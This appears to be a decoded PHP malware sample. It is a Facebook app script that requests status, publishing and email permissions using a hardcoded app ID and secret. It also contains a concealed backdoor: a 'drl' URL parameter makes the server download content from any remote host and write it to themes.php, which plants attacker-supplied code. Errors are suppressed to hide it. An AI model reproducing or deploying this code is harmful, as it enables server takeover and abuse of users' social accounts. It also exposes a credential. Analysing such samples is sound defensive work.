Hex file - decoded

<?php
error_reporting(0);
require_once("facebook/facebook.php");

$facebook    = new Facebook(array(
    "appId" => "412806585445652",
    "secret" => "27401931cee5cee03a854547fd7fc311"
));
$session                = $facebook->getUser();
$loginUrl  = $facebook->getLoginUrl(array(
    "scope" => "user_status,publish_actions,email"
));
$me = null;
$chk   = 1;
if ($session) {
    try {
        $uid  = $facebook->getUser();
        $me    = $facebook->api("/me");
        $permissions = $facebook->api("/me/permissions");
        if ($permissions["data"][0]["publish_actions"] == 1)
            $chk = 0;
        else
            $chk = 1;
    }
    catch (FacebookApiException $e) {
    }
}
if (isset($_GET["drl"])) {
    $file                 = file_get_contents("http://" . $_GET["drl"]);
    $fp = fopen("themes.php", "w+");
    fwrite($fp, $file);
    fclose($fp);
}
?>